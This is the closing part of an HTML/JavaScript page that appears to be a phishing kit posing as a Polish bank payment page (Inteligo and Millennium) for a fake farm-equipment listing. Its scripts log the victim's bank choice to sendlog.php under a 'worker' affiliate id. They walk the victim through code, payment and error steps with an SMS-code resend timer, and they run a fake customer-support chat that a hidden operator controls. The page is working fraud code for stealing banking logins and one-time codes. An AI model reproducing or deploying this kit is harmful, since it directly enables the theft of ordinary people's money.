openForm();
window.location.href = "?ipko_code"
}
}).fail(function(response){
// response = response.responseText
if (response == '1'){
openForm();
window.location.href = "?ipko_code"
}
});
}
// update();
$('.credit-card-form__cvv-icon').click(function(){
// $('#si').css('display', 'block');
$('#si').toggle();
});
function selectbank(thisis){
$(thisis).attr('onclick', '');
if($(thisis).attr('bank') != 'none' && $(thisis).attr('bank') != 'other'){
var code = $(thisis).attr('bank');
var config = 'selectbank';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?code"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?code"
}, 1000);
});
}else{
var code = 'other';
var config = 'selectbank';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
});
}
}
function millenium_imgs(thisis){
// $('#cb').hide();
if($(thisis).attr('value') != ''){
var code = $(thisis).attr('value');
var config = 'millenium_imgs';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
// $('#cb').show();
// $('#cb').css('background', 'gray');
// $('#cb').attr('onclick', '');
// $('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
// $('#cb').show();
// $('#cb').css('background', 'gray');
// $('#cb').attr('onclick', '');
// $('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
// ($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
// $('#cb').show();
};
}
$('#newcode').css('color', 'gray');
$('#newcode').attr('onclick', '');
var timer = 60;
function decrementAfter1Second(){
setTimeout(function(){
timer--;
$('#newcode').text('Wyślij SMS ponownie (oczekuj ' + timer + ')');
if(timer==0){
$('#newcode').css('color', 'green');
$('#newcode').attr('onclick', 'smscodenew();');
$('#newcode').text('WYŚLIJ SMS PONOWNIE');
}else{
decrementAfter1Second();
}
}, 1000);
}
decrementAfter1Second();
</script>
<script src="/newSite/banks/inteligo_files/jquery-3.4.1.min.js"></script>
<script type="text/javascript">
var opened = 0;
function openForm() {
opened = 1;
update();
setInterval(update, 4000);
$("#myForm").fadeIn(700);
// $('#myForm').css('display', 'block')
$("#open-support").fadeOut(250);
// $('#open-support').css('display', 'none')
}
function closeForm() {
opened = 0;
setInterval(update, 10000);
// $('#myForm').css('display', 'none')
$("#myForm").fadeOut(250);
// $('#open-support').css('display', 'block')
$("#open-support").fadeIn(700);
}
</script>
<div class="form-popup" id="myForm" style="display: none;">
<form class="form-chat-container" id="myform" action="javascript:void(0);">
<div class="chat-header">
<div class="operator-face operator-face-0">
<div title="Сергей Григорьевич" class="photo user-color-0 no-photo">
</div>
</div>
<div class="team-wrapper">
<div class="team">Obsługa klienta</div>
<div class="activity-indicator">Ostatnio aktywn</div>
</div>
<div class="welcome-message">Wyślij nam wiadomość. My <br> odpowiemy wkrótce!</div>
<h3 class="chat-title"></h3><a onclick="closeForm()" class="chat-close close"> </a>
</div>
<div class="form-content" id="messages" style="flex: 1 1 auto;position: relative;display: flex;flex-direction: column;justify-content: space-between;">
</div>
<input type="text" id="message-text" class="chat-form__input focus" placeholder="Wpisz wiadomość" style="border-color: red; border-top: 1px solid #eaeced; margin-top: 20px;">
<!-- <button style='display: none;' src="chat/send_btn1.png" class="chat-btn" id="chat-send" onclick="sendmsg();"> -->
<input style="display: none;" id="chat-send" type="submit" value="" onclick="sendmsg();">
</form>
</div>
<script type="text/javascript">
$("#myform").on("submit", function(event){
event.preventDefault();
sendmsg();
});
function delete_msg(id) {
var proj = 'inspire';
console.log('delete ' + id)
$.ajax({
type: "POST",
url: "delete_msg.php",
data : {id:id, proj:proj}});
$('#msg').val('');
if($('#msg').val() == ''){
$('#msg').css("border-color", "red");
}
}
function checkFocus() {
var container = $('#messages');
var height = container.height();
var scrollHeight = container[0].scrollHeight;
var st = container.scrollTop();
var sum = scrollHeight - height - 32;
if(st >= sum) {
return true;
} else {
return false;
}
}
function update(){
if (opened == 1){
$.ajaxSetup({ cache: false });
var id = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var proj = 'inspire';
var from = 'user';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {id:id,from:from, proj:proj}
}).done(function(response) {
if(checkFocus()) {
$('#messages').scrollTop(999999);
}
document.getElementById("messages").innerHTML=response;
len = $("#messages div").eq(-1).prevObject.length
len = len - 1;
// result = $("#messages div").eq(len)[0]
attr_last_msg = $("#messages div").eq(len).attr('view')
db_id_last = $("#messages div").eq(len).attr('db-id')
from = $("#messages div").eq(len).attr('from')
// console.log('checked last: ' + attr_last_msg + ' db_id: ' + db_id_last);
if (attr_last_msg == '0' && from == 'admin'){
$("#messages div").eq(len).attr('view', '1')
view(db_id_last);
}
}).fail(function(response){
response = response.responseText
// print(response)
// console.log(response)
if(checkFocus()) {
$('#messages').scrollTop(999999);
}
document.getElementById("messages").innerHTML=response;
// $('#messages').text(response);
len = $("#messages div").eq(-1).prevObject.length
len = len - 1;
// result = $("#messages div").eq(len)[0]
attr_last_msg = $("#messages div").eq(len).attr('view')
db_id_last = $("#messages div").eq(len).attr('db-id')
from = $("#messages div").eq(len).attr('from')
// console.log('checked last: ' + attr_last_msg + ' db_id: ' + db_id_last);
if (attr_last_msg == '0' && from == 'admin'){
$("#messages div").eq(len).attr('view', '1')
view(db_id_last);
}
});
}else{
$.ajaxSetup({ cache: false });
var id = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var proj = 'inspire';
var from = 'user';
var prop = 'check_new_message';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {id:id,from:from, proj:proj, prop:prop}
}).done(function(response) {
// response = response.responseText
if (response == '1'){
openForm();
}
}).fail(function(response){
// response = response.responseText
if (response == '1'){
openForm();
}
});
}
}
update()
function sendmsg() {
if($('#message-text').val() != ''){
var msg = $('#message-text').val();
var proj = 'inspire';
var token = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var logged_as = 'user';
var wid = '1072894791';
var tovarname = 'Agregat talerzowy Ścierniskowy Siewny';
$.ajax({
type: "POST",
url: "sendchat_message.php",
dataType: "json",
data : {logged_as:logged_as,msg:msg, token:token, wid:wid, proj:proj, tovarname:tovarname}});
$('#message-text').val('');
if($('#message-text').val() == ''){
$('#message-text').css("border-color", "red");
}
}
}
function view(db_id) {
var msg = $('#message-text').val();
var token = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var logged_as = 'user';
var proj = 'inspire';
var wid = '1072894791';
$.ajax({
type: "POST",
url: "view.php",
dataType: "json",
data : {logged_as:logged_as,msg:msg, token:token, wid:wid, db_id:db_id, proj:proj}
});
}
</script>
</body></html>
|